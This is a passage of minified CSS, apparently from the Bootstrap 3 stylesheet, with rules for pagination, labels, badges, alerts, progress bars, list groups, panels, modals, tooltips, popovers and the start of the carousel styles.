#ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:hover,a.label:focus{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:hover,.label-default[href]:focus{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:hover,.label-success[href]:focus{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:hover,.label-info[href]:focus{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-xs .badge{top:0;padding:1px 5px}a.badge:hover,a.badge:focus{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px 15px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron h1,.jumbotron .h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding:48px 0}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron h1,.jumbotron .h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail>img,.thumbnail a>img{margin-right:auto;margin-left:auto}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-striped .progress-bar,.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress.active .progress-bar,.progress-bar.active{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-left,.media-right,.media-body{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item{color:#555}a.list-group-item .list-group-item-heading{color:#333}a.list-group-item:hover,a.list-group-item:focus{color:#555;text-decoration:none;background-color:#f5f5f5}.list-group-item.disabled,.list-group-item.disabled:hover,.list-group-item.disabled:focus{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>.small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:hover .list-group-item-text,.list-group-item.active:focus .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:hover,a.list-group-item-success:focus{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:hover,a.list-group-item-success.active:focus{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:hover,a.list-group-item-info:focus{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:hover,a.list-group-item-info.active:focus{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:hover,a.list-group-item-warning:focus{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:hover,a.list-group-item-danger:focus{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.table,.panel>.table-responsive>.table,.panel>.panel-collapse>.table{margin-bottom:0}.panel>.table caption,.panel>.table-responsive>.table caption,.panel>.panel-collapse>.table caption{padding-right:15px;padding-left:15px}.panel>.table:first-child,.panel>.table-responsive:first-child>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table:last-child,.panel>.table-responsive:last-child>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child th,.panel>.table>tbody:first-child>tr:first-child td{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.panel-body,.panel-group .panel-heading+.panel-collapse>.list-group{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:hover,.close:focus{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:absolute;top:0;right:0;left:0;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{min-height:16.43px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-weight:400;line-height:1.4;visibility:visible;filter:alpha(opacity=0);opacity:0}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-weight:400;line-height:1.42857143;text-align:left;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s 